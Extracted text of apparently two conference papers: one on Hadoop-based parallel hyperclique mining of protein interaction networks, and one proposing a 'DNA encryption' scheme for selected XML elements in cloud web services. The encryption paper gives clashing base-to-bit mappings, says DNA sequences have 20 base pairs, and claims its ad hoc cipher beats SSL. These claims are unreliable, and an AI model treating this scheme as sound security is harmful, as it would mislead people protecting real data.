Neurocomputing, Elsivier 123, 33–39 (2014)
3. Alejo, R., García, V., Pacheco-Sánchez, J.H.: An efficient over-sampling approach based on
Mean Square Error Back propagation for dealing with the multi-class imbalance problem.
Neural Process Lett. Elsivier. doi:10.1007/s11063-014-9376-3
4. Wang, Q.: A hybrid sampling SVM approach to imbalanced data classification. Hindawi Publ.
Corp. Abstr. Appl. Anal. 2014(972786), 7. http://dx.doi.org/10.1155/2014/972786
5. Santhosh Kumar, Ch.N., Nageswara Rao, K., Govardhan, A., Sudheer Reddy, K., Mahmood,
A.M.: Undersampled K-means approach for handling imbalanced distributed data. Prog Artif.
Intell. Springer. doi:10.1007/s13748-014-0045-6
6. Brzezinski, D., Stefanowski, J.: Reacting to different types of concept drift: the accuracy
updated ensemble algorithm. IEEE Trans. Neural Netw. Learn. Syst. http://dx.doi.org/10.
1109/TNNLS.2013.2251352
7. Poolsawad, N., Kambhampati, C., Cleland, J.G.F.: Balancing class for performance of
classification with a clinical dataset. In: Proceedings of the World Congress on Engineering
2014, vol. I, WCE n, U.K
8. Oreški, G., Oreški, S.: An experimental comparison of classification algorithm performances
for highly imbalanced datasets. Presented at CECIIS 2014
9. Stefanowski, J.: Overlapping, rare examples and class decomposition in learning classifiers
from imbalanced data. In: Emerging Paradigms in Machine Learning Smart Innovation,
Systems and Technologies, vol. 13, pp 277–306. Springer, Berlin (2013)
10. Tomašev, N., Mladeni. D.: Class imbalance and the curse of minority hubs. Know.-Based
Syst. J. (2013). doi:http://dx.doi.org/10.1016/j.knosys.2013.08.031
11. Bekkar, M., Alitouche, T.A.: Imbalanced data learning approaches review. Int. J. Data Min.
Know. Manage. Process (IJDKP) 3(4), (2013)
12. Fernández1, A., García1, S., Herrera, F.: Addressing the classification with imbalanced data:
open problems and new challenges on class distribution. In: Corchado, E., Kurzyński, M.,
Wózniak, M. (eds.) HAIS 2011, Part I, LNAI 6678, pp. 1–10 (2011)
13. Ankerst, M., Breunig, M.M., Kriegel, H.-P., Sander, J.: OPTICS: ordering points to identify
the clustering structure. In: Proceedings of ACM SIGMOD’99 International Conference on
Management of Data, Philadelphia PA (1999)
14. Alcalá-Fdez, J., Fernandez, A., Luengo, J., Derrac, J., García, S., Sánchez, L., Herrera, F.:
KEEL data-mining software tool: data set repository, integration of algorithms and
experimental analysis framework. J. Multi.-Valued Logic Soft Comput. 17(2–3), 255–287
(2011)
15. Witten, I.H., Frank, E.: Data Mining: Practical Machine Learning Tools and Techniques, 2nd
edn. Morgan Kaufmann, San Francisco (2005)
16. Blake, C., Merz, C.J.: UCI Repository of Machine Learning Databases. Machine-Readable
Data Repository. Department of Information and Computer Science, University of California
at Irvine, Irvine, (2000). http://www.ics.uci.edu/mlearn/MLRepository.html
A Framework for Discovering Important
Patterns Through Parallel Mining
of Protein–Protein Interaction Network
Sarbani Dasgupta and Banani Saha
Abstract Association rule mining can be applied in the field of bioinformatics for
identification of co-occurrences between various biological elements such as genes and
protein. In bioinformatics, protein–protein interaction network provides useful infor-
mation regarding the functions of protein. Association analysis has been used for
identification offrequently occurring interactions among the proteins in the network for
predicting the functions of proteins. As the amount of data is increasing exponentially,
parallel implementation of association analysis for identification of co-occurrences
between proteins in protein–protein interaction network will be more efficient, fast, and
scalable. In this paper we proposed an efficient framework for association analysis of
frequently occurring pattern in the protein–protein interaction network. The algorithm
has been parallelized using Hadoop software. The performance view of the parallel
algorithm has been depicted in graph and it shows that the parallel version is more
effective than the sequential one.
Keywords Association rule mining Hadoop MapReduce Protein–protein

interaction Hyperclique pattern
1 Introduction
Protein is an important molecule in the cell, which performs several important

biological functions. Protein always interacts with other proteins to accomplish
some biological function. These interactions of proteins are categorized into two
S. Dasgupta (&)
Department of MCA, Techno India College of Technology, Kolkata 700156, India
e-mail: only4sarbani@gmail.com
B. Saha
Department of Computer Science and Engineering, University of Calcutta,
Kolkata 700009, India
e-mail: bsaha_29@yahoo.com

398 S. Dasgupta and B. Saha
types, namely physical and genetic interactions. Protein–protein interaction

(PPI) [1] network is constructed to depict the physical interactions among the
proteins. This PPI network is useful for predicting the functions of proteins. Among
the several approaches used for predicting protein functions from PPI network,
association analysis in data mining are used for detection of frequently occurring
sets of interactions among the proteins in the PPI network.
Association rule mining (ARM) [2] is an important task of data mining which
falls under the category of unsupervised learning method. The main aim of ARM is
to find out frequent patterns among data stored in an already existing transactional
database and generating association rules from them. There are several ARM
algorithms. Among them Eclat algorithm [3] uses the binary format of the database
where 1 represents that the item is purchased by a customer and 0 represent
non-purchase of the item in case of particular transactions. These algorithms are
also used for frequent pattern mining. There are various applications of ARM
algorithm. In the field of bioinformatics association analysis is used for analyzing
the PPI network.
A PPI network is an undirected graph where each node is labeled as protein and
the edges are depicted as the pairwise interaction among the proteins [5].
Association analysis is used for the purpose of identification of frequently occurring
set of protein–protein interactions in PPI network. These subgraphs of PPI network
are considered as functional modules from which functions of the protein can be
predicted. Pandey et al. [4] proposed an association analysis-based approach for
removing noise from PPI network. This approach use support and h-confidence
measure for selecting hyperclique pattern from the PPI data.
The remaining part of the article is organized as follows: Sect. 2 discusses the
existing work. The proposed approach has been figured out in Sect. 3. Its perfor-
mance analysis is discussed in Sect. 4 and it shows that a parallel implementation is
much more effective than the sequential one. The final section concludes the article.
2 Related Work
There are various approaches for analyzing a PPI interaction network. Association
analysis-based approach is used for analysis of frequently occurring pattern in a PPI
network which can be used for prediction of protein functions. Pandey et al. have
proposed an association-based approach. This approach uses various types of fre-
quent patterns and parameters which are discussed in the following subsection.
A Framework for Discovering Important Patterns … 399
2.1 Representation of Traditional Frequent Pattern
Frequent pattern mining is the process of mining data in a set of items or some
patterns from a large database. The resultant set supports the minimum support
threshold. A frequent pattern is a pattern that occurs frequently in a dataset.
Association rule mining is defined to find out association rules that satisfy the
predefined minimum support and confidence from a given database. If an itemset is
said to be frequent, the itemset supports the minimum support and confidence.
A frequent itemset should appear in all the transaction of that database. The dataset
used for this purpose is a binary matrix where the row represents the items purchased
and the column represents the transactions. The entries in the matrix are either 1 or 0.
If the item is purchased in a particular transaction the corresponding entry is 1,
otherwise it is 0. The support threshold has an antimonotonic property, i.e. the
support of an itemset cannot be more than any of its supersets in a given dataset. The
density of the matrix depends on the proper choice of the support threshold.
2.2 Hyperclique Pattern
This approach uses a frequent pattern called hyperclique pattern [6] which contains
items that are strongly associated with each other over the supporting transactions,
and sparsely over the rest of the transactions. In traditional frequent pattern mining
there is a problem of cross support pattern which arises if the support value is set
very low. This may cause difficulty to mine all frequent patterns because the
number of frequent patterns may increase at any moment. This relates a high
frequency item to a low frequency item, which is the noise in case of PPI network.
To overcome this problem, hyperclique pattern is used where an antimonotonic
association measure called h-confidence (hconf) [6] was defined.
Thus,
hconf (XÞ = supp(i1 ;i2 ;. . .; ik )/max[supp(i1 ), supp(i2 Þ;. . .; supp(ik Þ ð1Þ
where supp(ij) is the support of an item ij in an item set.

The data items which satisfies hconf ≥ α, (where α is specified by the user) is a
hyperclique pattern.
Generally, PPI network consists of unweighted graphs. In the algorithm the PPI
network is represented by binary adjacency matrix. The h-confidence index is used
for estimating the common neighborhood similarity of two proteins. In case of PPI
network for unweighted graph, the h-confidence [4] is defined as

jNP1 \ NP2j jNP1 \ NP2j
hconfðP1; P2Þ ¼ hconfðP1; P2Þ ¼ min ; ; ð2Þ
NP1 NP2
where NP1 and NP2 denote the sets of neighboring protein of proteins P1 and P2
respectively.
3 Proposed Approach
3.1 Motivation
The approach proposed by Pandey et al. has been implemented on a single machine.
However, with the increase in vast amount of data along with time, i.e., for the
purpose of analyzing large-scale PPI network of complex species, sequential
implementation of the algorithm will consume a lot of processing time. The pro-
posed approach focuses on the parallel implementation of hyperclique miner algo-
rithm, used for mining frequent hyperclique patterns. The hyperclique pattern is used
for association analysis of the PPI network. The parallel implementation is done by
Apache Hadoop [7], an open-source software framework. In Apache Hadoop, data
can be stored and processed in a distributed environment across clusters of com-
puters using simple programming model. The Hadoop architecture has two main
components, namely MapReduce programming model and the Hadoop distributed
file system (HDFS), which are discussed briefly in the next section.
3.2 MapReduce Model
The Hadoop software uses Google’s MapReduce paradigm [8–10] for data pro-
cessing. It is a programming model which is used for processing large datasets
distributed across several machines in a cluster. It hides issues of distributed and
parallel programming, i.e., load balancing, performance of network, fault tolerance,
and locality optimization [16] from the programmer.
The concept of MapReduce programming model originated from the MapReduce
concept of functional programming [14]. It can be implemented with various program
languages like Java, Ruby, Perl, Python, etc., for processing and generating large
datasets with parallel and distributed algorithms on a cluster [15]. The Apache Hadoop
MapReduce Programming model is written in Java. The model is based on the data
structure (key, value). Map () function accepts the key/value pair of the input dataset
and produces as output list of intermediate key/value pair. It can be expressed as
Map (inputkey, input value) ! list (outputkey, intermediatevalue) ð3Þ
In a distributed environment Map () function is applied in parallel to every pair

in the input dataset. The intermediate key/value pair generated by the Map () is used
by the MapReduce framework to gather all pairs with the same output key from all
lists and to combine them together, creating a list of values for each particular
output key. The Reduce () function will accept the output key and the list of values
for the particular key. It will combine the list of values to form a smaller output list.
The Reduce () function is expressed as following:
Reduce (output key, list(intermediate value)) ! list (outputvalue) ð4Þ
3.3 Hadoop Distributed File System (HDFS)
The concept of Hadoop distributed file system (HDFS) [12] originated from the
Google file System, and is a distributed file system that can execute on commodity
hardware. It is fault-tolerant and can be deployed on interchangeable hardware. It
provides high throughput access to stored data and is suitable for large input
dataset. It can store and process large datasets distributed across clusters of com-
puters. HDFS follows master/slave architecture [16]. The HDFS cluster has one
master server known as NameNode [16]. The task of the NameNode is to manage
the file system namespace. The change in file system namespace is recorded by the
NameNode. It also regulates file access of the client. Each machine in a cluster
consists of a single DataNode [16]. The DataNode manages the storage of the
machine where it is executed. In HDFS the user input file is divided into several
blocks which are stored in a set of DataNodes. The NameNode determines the
allocation of the blocks to a particular DataNode. The DataNodes are responsible
for executing read and write instruction of the file system’s clients. The NameNode
instructs the DataNodes to create, delete, and replicate data blocks.
3.4 Algorithm
This subsection details out the parallel version of hyperclique miner algorithm for
efficient association analysis of PPI network. First the PPI network is converted into a
binary adjacency matrix [17], where each cell has value either 0 or 1. Value 1 denotes
the strongest interaction among the proteins and value 0 denotes no interactions among
them. This matrix can be considered as traditional transaction database where the rows
of the matrix represent transactions and column represents items. The parallel
implementation of hyperclique miner algorithm is carried out using the Apache
Hadoop software framework. The database is scanned to get the support count of the
items. For item set of size one, the map () function counts the occurrence of the potential
candidate set and the reduced function sums up the occurrences of the potential can-
didate set. Based on the user specified minimum support count, the item is pruned to get
the resultant item set. Then the itemset of size more than one is constructed using the
map reduce function. Next, the resultant itemset is pruned based on the antimonotone
property and the cross support property of the user specified h-confidence threshold.
The process is carried out until no new pattern can be generated.
Parallel Hypercliqueminer algorithm
Input:
1. A database δ of m number of transactions γ = {γ1, γ2….,γM}, each γi ∈ γ consists of
attributes {i1, i2,…. iP}.
2. Minimum h-confidence value (minhc).
3. Minimum support count (sup)
Output: Hyperclique patterns.

Procedure
{
Scan the database δ.
Generate support count of every item in the database using Map_itemset_1 ()
and Reduce_itemset_1 () function.
Generate the candidate set of size 1 denoted by C1 by removing items whose
supportcount<sup and arranging the remaining item in alphabetic order.
For 1 < itemsize < P-1
do
{
Generate hyperclique pattern using Map () and Reduce ().
Generate potential hyperclique pattern by removing pattern whose h-
confidence<minhc.).
}
}
Procedure Map_itemset_1()
{The input database δ is stored into HDFS.
Split it into different files represented as <key, value>.
Send it to the map () present at each node to generate an output represented as <key,
value>.
}
Procedure Reduce_itemset_1()
{Input <key, value> obtained from the map function.
Add up the values with same key values which are occurrence count of each item of
the transaction.
Obtain the support count after dividing the occurrence of the items by the number of
transaction.
}
Procedure Map ()
{Self join candidate itemset of size 1to generate candidate itemset of size2.
Split it into different files represented as <key,value>.
Send it to the map () present at each node to generate output represented as <key,value>
}
Procedure Reduce ()
{Input <key, value> pair obtained from the map function.
Add up the values with same key values to get occurrence count of each itemset .
Obtain the support count after dividing the occurrences of the itemset by the number of
transaction.
}
4 Performance Analysis
The parallel implementation of hyperclique miner algorithm can be applied for

efficient association analysis of large complex dataset. The Hadoop has been
installed in multicores machine. The experiment is carried out using four machines
each consisting of multiple cores AMD processors. Moreover the algorithm is
implemented on Apache Hadoop 2.5.0 platform for the distributed processing of
protein datasets. The dataset is distributed among the four machines each per-
forming the map and reduce task. The performance of the algorithm is evaluated on
the basis of three factors. These three factors are scaleup [13], sizeup [13], and
speedup [13].
The scaleup factor is defined as the capability of an n larger system to perform
larger jobs at the same run time as that of a single system. Scaleup can be expressed
as follows:
T1
Scaleupðdata; nÞ ¼ ; ð5Þ
Tnn
where T1 is the time required for processing of data on a machine with 1 core
processor and Tnn is the time required for processing of n times data on a machine
with n cores.
The sizeup factor measures how fast the system executes when the size of the
dataset increases. The sizeup factor is denoted as
Tn
Sizeup ðdata; nÞ ¼ ; ð6Þ
T1
where Tn is the time required for processing n times larger data and T1 is the time
required for processing the original data.
Speedup factor measures the decrease in execution time of a parallel system than
the sequential system. The speedup can be formulated as
T1
Speedup ¼ ; ð7Þ
Tm
T1 is the processing time required by a single processor and Tm is the processing

time of the parallel algorithm with m number of processors.
For performance evaluation, the scale-up, sizeup, and speedup factor of the
Parallel Hyperclique miner algorithm are examined. For scaleup factor, datasets of
size 1, 3, 5, and 10 GB are processed on 1, 2, 3, and 4 machines, respectively.
Figure 1 shows the results of processing of different datasets.
For evaluating the sizeup factor of the algorithm, the number of cores of the
computers are fixed such as 4, 8, 16, 32 cores, with the datasets of 1, 2, 4, 8 GB.
Figure 2 depicts the outcome of the sizeup factor.
Scaleup
1
0
1 2 3 4
Number of machines
Fig. 1 Scale-up factor of the parallel algorithm using dataset of 8 GB
15
1 core
SizeUp
10
2 cores
5 4 cores
0 16 cores
1GB 2GB 4GB 8GB
Size of dataset in GB
Fig. 2 Size up of the parallel algorithm

Speed Up
10 1 GB
3 GB
0 5 GB
1 2 4 8
Number of cores 10 GB
Fig. 3 Speedup factor
To evaluate the speed factor, dataset of size 1–10 GB is taken for the experiment
and the processing is done on 1, 2, 3, and 4 numbers of processors. Figure 3 depicts
the speedup factor for different datasets.
This parallel implementation of the hyperclique miner algorithm can be applied
for association analysis of many large databases. It is applied for association
analysis of wide varieties of PPI networks available for different species. The
experimentally determined protein–protein interactions are documented in several
databases such as the DIP [11] database and MIPS database. There are several
datasets used for the analysis of the PPI. The dataset used for the proposed algo-
rithm is the protein interaction dataset of S. cerevisiae (one kind of yeast). It is
available in the DIP database. The total number of proteins available in the database
is 5171 and the number of interactions among the proteins is 24609 as on 1 March
2015. Hadoop provides faster processing of large datasets. Since the PPI interaction
network stores information regarding protein, distributed analysis of this type of
database will improve the speed of processing. This will lead to efficient association
analysis of the PPI network.
5 Conclusion
Association analysis is one of the important data mining tools for analyzing the
traditional market basket analysis. It can be used in many fields like web mining,
social network mining. In the field of bioinformatics it can be used for a wide
variety of applications. It is used for analysis of the PPI network. Hyperclique miner
algorithm is used for association analysis of PPI interaction network. In this paper
we have parallelly implemented the traditional hyperclique miner algorithm used
for construction of hypergraphs useful for the protein–protein interaction network.
In the future it can be used for other important bioinformatics applications.
References
1. Pandey, G., Kumar, V., Steinbach, M.: Computational approaches for protein function
prediction: a survey. Technical Report, Department of Computer Science and Engineering,
University of Minnesota 06–028 (2006)
2. Agrawal, R., Imielinski, T., and Swami, A.N.: Mining association rules between sets of items
in large databases. In: Buneman, P., Jajodia, S. (eds.) Proceedings of the 1993 ACM SIGMOD
International Conference on Management of Data, Washington 207–216 (1993)
3. Zaki, M.J.: Scalable algorithms for association mining. IEEE Trans. Knowl. Data Eng. 12(3),
372–390 (2000)
4. Pandey, G., Steinbach, M., Gupta, R., Garg, T., Kumar, V.: Association analysis based
transformations for protein interaction networks: a function prediction case study. In:
Proceedings of the 13th ACM SIGKDD International Conference, pp. 540–549 (2007)
5. Salwinski, L., Eisenberg, D.: Computational methods of analysis of protein-protein
interactions. Curr. Opin. Struct. Biol. 13(3), 377–382 (2003)
6. Xiong, H., Tan, P.-N., Kumar, V.: Hyperclique pattern discovery. Data Min. Knowl. Discov.
13(2), 219–242 (2006)
7. Tom, W.: Hadoop :The Definitive Guide. O’reilly, 3rd edn. ISBN: 978-1-449-31152-0
8. Agarwal, R., Shafer, J.: Parallel mining association rules. IEEE Trans. Knowl. Data Eng. 8(6),
962–969 (1996) (pp. 4–6, 14)
9. Zaki, M.J., Parthasarathy, S., Li, W.: Parallel data mining for association rules on shared
memory multi-processors. In: Supercomputing, vol. 96, pp. 17–22, Pittsburg, Nov 1996
10. Zaki, M.J., Parthasarathy, S., Ogihara, M., Li, W.: New algorithms for fast discovery of
association rules. In: Proceedings of 3rd International Conference on Knowledge Discovery
and Data Mining, pp. 283–296, Aug 1997
11. Xenarios, I., Salwinski, L., Duan, X.J., Higney, P., Kim, S.-M., Eisenberg, D.: DIP, the
database of interacting proteins: a research tool for studying cellular networks of protein
interactions. Nucleic Acids Res. 30(1), 303–305 (2002)
12. “HDFS High Availability Using the Quorum Journal Manager.” Apache Software Foundation.
Available at http://hadoop.apache.org/docs/current/hadoop-yarn/hadoopyarnsite/
HDFSHighAvailabilityWithQJM.html. Accessed on June 5, 2013
13. Li, N., Zeng, L., He, Q. Shi, Z.: Parallel implementation of a priori algorithm based on map
reduce. In: Proceedings of 13th ACIS International Conference on Software Engineering,
Artificial Intelligence, Networking and Parallel/Distributed Computing, @IEEE (2012)
14. Steele, G.L.: Common Lisp: the Language, 2nd edn. Digital Press, Bedford (1990)
15. Dean, J., Ghemawat, S.: Map reduce: simplified data processing on large clusters. In:
OSDI’04, 6th Symposium on Operating Systems Design and Implementation, Sponsored by
USENIX, in cooperation with ACM SIGOPS, pp. 137–150 (2004)
16. HDFS Architecture Guide. https://hadoop.apache.org/docs/r1.2.1/hdfs_design.html,April08
(2013)
17. Pandey, G., Steinbach, M., Gupta, R., Garg, T., Kumar, V.: Association analysis based
transformations for protein interaction networks: a function prediction case study. In:
Proceedings of the 13th ACM SIGKDD International Conference, pp. 540–549 (2007)
Implementing DNA Encryption Technique
in Web Services to Embed Confidentiality
in Cloud
Gunjan Gugnani, S.P. Ghrera, P.K. Gupta, Reza Malekian and B.T.
J. Maharaj
Abstract Hottest buzzword of this decade is “Cloud Computing”—which has been

considered as one of the potential solutions to our increasing demand for accessing,
processing, storing, and using provisioned resources over the internet. However, with
so many boons, it comes along with some curses as security and trust issues. There are
many security issues within the cloud, and Information disclosure is a big threat to a
cloud user when the information is transferred over the network using web services. In
this paper, we have focused on to provide confidentiality to the user while using
cloud-based web services, and an approach has been proposed for selective encryption
of XML elements so as to provide confidentiality and prevent XML document form
improper information disclosure. The technique used for encrypting the selective
XML elements is Deoxyribonucleic Acid (DNA) Encryption. Proposed technique
selectively encrypts the elements of XML file using DNA sequencing.
Keywords Cloud security Web services Encryption DNA sequencing

SOAP
G. Gugnani (&) S.P. Ghrera

Department of Computer Science and Engineering, Jaypee University of Information
Technology, Waknaghat 173234, India
e-mail: Gugnani.Gunjan@gmail.com
S.P. Ghrera
e-mail: Spghera1@gmail.com
P.K. Gupta R. Malekian B.T.J. Maharaj
Department of Electrical, Electronic, and Computer Engineering, University of Pretoria,
Pretoria 0028, South Africa
e-mail: Pkgupta@ieee.org
R. Malekian
e-mail: Reza.Malekian@ieee.org
B.T.J. Maharaj
e-mail: Sunil.Maharaj@up.ac.za

408 G. Gugnani et al.
1 Introduction
Cloud Computing is a way of computing in which resources can be easily supplied

to the client as a service over the internet as per the requirement of the client. The
client may request any service or resource over the internet to the cloud service
provider, and the cloud service provider will respond to the requested service or
resource by the client. This request can be of any type for example request for some
application, for processing, some storage space, etc.
There are major benefits of cloud for manageability, availability, scalability,
on-demand, pay-per-use, and consolidation. Cloud resources are available over the
internet, and these capabilities can be accessed through many standard mechanisms
that are used by different platforms, e.g., personal computers, mobile phones, laptops,
tablets, and workstations. Cloud is easily flexible and scalable according to the con-
sumer demand. Resources can be easily scale-in and scale-out as per the consumer
use. Cloud also provides measure service of pay-per-use so that the resource usages
can be easily examined, managed, and controlled for both user and the provider. Cloud
can easily be consolidated with any other unit with minimal effort.
There are many economic benefits as cloud promises to reduce the capital and
operational expenditure. Along with these many benefits, cloud also comes along
with many issues like no proper Service level Agreement (SLA) agreement,
involvement of the third party that raises the trust issues, and attacks and threats that
raise security concerns. There are many threat full events that compromise security
of cloud and internet, e.g., Resource exhaustion—due to DOS attacks, malicious
insiders—due to improper access control given to the cloud authorities, information
leakage—due to disclosure of some confidential information or encryption failure,
loss of encryption keys while exchanging of key, and injections made by attackers
to extract or alter the information. Above all, security and trust concerns are the
foremost issues in cloud as companies may hesitate to completely rely on their own
records, data, information, and execution, processing jobs to some outside enter-
prise whose location is in different countries and makes enterprises to attach to the
old local data center approach [1] as shown in Fig. 1.
Here, we have focused on the communication scenario of business transactions
between client and the cloud which takes place through web services via SOAP
messages in an XML document [2]. But still web services are in their infancy, and
there is no proper research on the vulnerabilities of web services [3]. There are
different threats like Information disclosure, leakage, and many injection attacks
which could take place on an XML document over the network need to be removed
from the web services. This shows that there is a huge potential for the improve-
ment of confidentiality and integrity in the web services in cloud environment. In
our work, we have embedded confidentiality using XML encryption in the cloud.
XML encryption ensures not to disclose the information contained in the XML
document while communicating over the network. XML Encryption grants integrity
and confidentiality to the messages being transferred between the cloud user and the
cloud provider. These messages can be of any type like request and response
Implementing DNA Encryption Technique in Web Services … 409
Fig. 1 Clients communicating with the cloud through various means
messages, notifications, etc. The cryptographic technique that we have used in our
work is DNA encryption and decryption. DNA encryption is based on some basic
but interesting features of DNA molecules which are generally formed by two
biopolymer strands known as polynucleotides. Each nucleotide consists of nitrogen
containing nucleo-base Adenine (A), Guanine (G), Cytosine (C), or Thymine (T).
DNA encryption makes use of both these base pairing rule and also complementary
pairing rule.
This paper is divided into various sections, where Sect. 2 represents the literature
survey of existing frameworks, web services, and encryption and decryption
techniques. Section 3 discusses about the proposed methodology and proposed
implemented algorithms. Section 4 shows the result analysis of the discussed
scenario and represents the results in tabular form consisting of encryption and
decryption times of variable length of text. At last, Sect. 5 represents the conclusion
of the work.
2 Literature Survey
Cloud Computing can thought to be an internet model that can offer a suitable and
easy on-demand online network access to the pooled resources with nominal
administration or any service provider interaction. Here, we have discussed about
the security of web services, methods to implement confidentiality, and about the
encryption techniques.
In [4], Chou has discussed about many security threats and attacks and categorized
them in two broad terms that are malware injection attacks and wrapping attacks. The
malware injection attack covers cross-site scripting attacks and SQL injection attacks.
Wrapping attack covers the attack on SOAP messages that break confidentiality
between client and server. Subashini and Kavitha [5] have discussed about the nature
of SaaS applications and emphasized on the confidentiality of SOAP messages. They
have found that one of the biggest challenges which are still needed to be addressed
within web services is managing the transaction. Currently, there are many standards
available like WS-Transaction and WS-Reliability, but they are not mature enough as
the clients are communicating to the cloud via internet; then, all communication is
done through SOAP messages, so these SOAP messages are needed to be kept con-
fidential which are in XML format. In [6], Yue-Shen et al. have described about the use
of core web security technologies as XML signature and encryption. Integrity in the
document can be realized through XML signature and can also be realized as an
identification of authentication and focused on the requirement of the confidentiality.
In [7], Thakur and Gupta have implemented the idea of dividing the data into multiple
clouds according to the level of integrity and confidentiality required to them and then
applied the encryption techniques like Advanced Encryption Standards (AES), Data
Encryption Standards (DES), and Digital Signature Standards (DSA). Authors have
also compared four of these algorithms. Liu and Lin [8] have discussed about the
cryptographic technique, i.e., DNA encryption technique, and embed it in a word
document to assure confidentiality. Firstly, the plain text has been encoded by a DNA
sequence, and the equal length DNA sequence is created by Chebyshev maps which
are used to encrypt the already considered DNA reference sequence, and then they
have attached the result to the elementary DNA sequence. In the next step, they have
shifted the whole DNA sequence for infinite times and inserted them into the word file
by amending the fore color of the characters. In [9], Terec et al. have discussed the
implementation of various cryptographic techniques in Java, Matlab, and BioJava,
and also explain how DNA encryption is implemented in three of them. Based on
confidentiality properties, these algorithms are used. Rana et al. [10] have represented
the combined and improved framework of Infrastructure as a service and Platform as a
service, and described about the simulation of key techniques like data storage
technology and data management technology. In [11], Thakur et al. analyzed the
performance of encryption algorithms RSA, Bcrypt, and AES to ensure the data
integrity issue in SaaS cloud.
All the communication between these cloud services and cloud clients takes place
through web services. Web-based applications using the XML, WSDL, SOAP, and
UDDI open standards over an internet protocol backbone. For tagging, the data
XML is used; SOAP is used for transferring of the data; WSDL is used for
describing the available services, whereas for listing of available services, UDDI is
used [12]; and to safeguard these messages, generally SSL is used.
The steps of web services architecture in cloud are as follows: (1) Firstly, the
cloud client makes a request and system figures out who is the provider of the
required data by contacting the UDDI. (2) Secondly, it uses the SOAP protocol and
contacts the cloud service provider. (3) Further, the cloud service provider validates
the client’s service request and then again uses the SOAP protocol and sends
structured data in an XML file to cloud service provider as shown in Fig. 2.
The whole communication among a customer and a cloud service provider over
the network takes place using SOAP messages. As these messages travel through
the network, they become vulnerable to different types of threats and attacks like
man in the middle attack, injection attack, spoofing attacks, etc. Sometimes this
conversation may contain very crucial and confidential information like passwords,
credit card details, patient’s data, or bank transaction information. Therefore, the
cloud system requires high integrity and confidentiality. This is the reason why we
need to encrypt these SOAP messages which are available in XML format. To
embed the confidentiality in the interaction between client and cloud, the approach
we are using here is XML DNA encryption/decryption. The proposed DNA
encryption will selectively encrypt the required information and hence provides the
confidentiality in the cloud environment. In XML DNA encryption, we can secure
the communication among cloud and client. It will also secure the communication
from improper information disclosure and information leakage over the network.
3.1 Proposed Algorithm
In this algorithm, firstly, we have extracted the required element from the XML file.
In the next step, we have converted the extracted element in binary form and then
assigned a binary combination to the DNA bases (A = 00, T = 01, C = 10, G = 11)
to the extracted text. Furthermore, we have applied complementary pairing rule on
this DNA sequence which replaces the bases with their complements (A = C,
Fig. 2 Communication between cloud and client using web services via SOAP messages
Input=Selective Plain Text from XML file, DNA Reference Sequence

Output-Encrypted Text in XML file
Step1: Replace Plain Text (PT) by its binary
BinaryText PlainText,
Step2: Assign binary to DNA bases (A 00, C 01, T 10, G 11)
Step3: Replace binary digits of both the text and key by its DNA bases
DNASeq1 BinaryText
Step5: Replace DNA sequence with complementary bases (A C, G T, T A, C G)
NewDNASeq DNASeq1
Step6: Take the input reference sequence and replace DNASeq by the base pair occurrence
number
NumericalEncrypted text NewDNASeq
Step7: Replace it in same XML file
Fig. 3 DNA encryption
C = G, G = T, and T = A). In the next step, we have taken a DNA reference

sequence from a gene sequence database. As we know that one complete DNA
sequence consists of 20 pairs of bases, we have two DNA sequences:
(1) Encoded DNA sequence and (2) Actual DNA sequence from genes database.
Finally, we have replaced the encoded DNA sequence base pairwise, with the
number of occurrence of the corresponding base pair in the actual DNA sequence.
The algorithm steps are shown in Figs. 3 and 4.
This encryption technique is very effective rather than other old encryption
techniques, as now the attackers are well aware of the old techniques. In our case,
the probability to judge the correct plain text is 0.0000000061 because there are
approximately 163 million of DNA sequences accessible freely [13].
Input- EncryptedXML file, DNA reference Sequence

Output: plain text in XML file
Step1: Take encrypted text from XML file
Step2: Replace encrypted text by DNA bases according to the reference sequence
DNASeq1 Encrypted text
Step3: Replace DNASeq by its Complements
DNASeq2 DNASeq1
Step4: Assign binary to DNA bases (A 00, C 01, T 10, G 11)
Step5: Convert DNA text to binary
BinaryText DNASeq2
Step6: Convert Binary to its actual text
Plain Text BinaryText
Step7: Replace the plain text in XML document
Fig. 4 DNA decryption
4 Results
The encryption technique as discussed in Sect. 3.1 to embed security in web ser-
vices has been implemented in NetBeans IDE using Java, and to provide the cloud
environment, CloudSim is integrated within the NetBeans. As the user provides the
details of ATM card, these details are submitted to the cloud using web services via
SOAP file. The structure SOAP file is as follows:
According to the approach, selective encryption has to take place to encrypt the
confidential information to increase the performance of the system. In the given file,
the ATM pin needs to remain confidential to secure the transaction of the user;
therefore, we have encrypted the element AccountPin. After selective DNA
encryption, the file will be as follows:
The steps of DNA encryption performed over the provided ATM pin are rep-
resented in Table 1. We have also computed the average encryption and average
decryption time for the given text with different bit lengths of the text. It is observed
that with the increase in length of the text to be encrypted, the required encryption
time increases proportionally.
The other observation is that the decryption time is little more than that of
encryption time. The average encryption/decryption time for different bit lengths of
the text is shown in Fig. 5.
The DNA reference sequence dataset used in our work is taken from Berkeley
Drosophila Genome Project (BDGP) site. The dataset file contains set of contiguous
Table 1 DNA encryption steps

S. Input Output
no.
1 XML-SOAP File 1234 (selected element)
2 00110001001100100011001100110100
(binary conversion)
3 AGATAGACAGAGAGTA (G = 11,
C = 10, T = 01, A = 00)
4 CTCACTCGCTCTCTAC (A = C,
C = G, G = T, T = A)
5 DNA Reference: [TA1], [GC2], [TG3], 201420182020209 (encrypted text)
[AG4], [CT5], [CT6], [TT7], [TG8], [AC9],
[TC10], [TC11], [TA12], [AT13], [CA14],
[CC15], [CC16], [TC17], [CG18], [TG19],
[CT20]
Fig. 5 Average time required for encryption and decryption
DNA sequences and the file was in Fasta format. There are approximately 163
million of DNA sequences which are accessible freely, so it is very complex to
recover the plain text from the encrypted text. Moreover, this technique gives the
option to selectively encrypt only the confidential information rather that the whole
information as in the case of SSL.
5 Conclusion
A DNA-based encryption/decryption technique has been proposed to embed the

confidentiality in the communication between client and the cloud service provider.
The advantage of the technique is that it is very difficult to decrypt a DNA
ciphertext without knowing the correct reference DNA sequence. We have
implemented this technique on a SOAP file and then computed the average
encryption and decryption time for the selected text that needed to be encoded. This
technique will embed confidentiality in the cloud environment with better effective
performance as compared to SSL, because it gives us the option to selectively
encrypt the confidential information rather than encrypting the whole information
which is an overhead in SSL.
Acknowledgments This work was supported by the National Research Foundation of South
Africa (NRF) grant funded by the South African government (No. KIC 150323115773).
References
1. Jensen, M., Schwenk, J., Gruschka, N., Iacono, L. L.: On technical security issues in cloud
computing. In: IEEE International Conference on Cloud Computing, pp. 109–116 (2009)
2. Saravanaguru, R.A., Abraham, G., Ventakasubramanian, K., Borasia, K.: Securing web
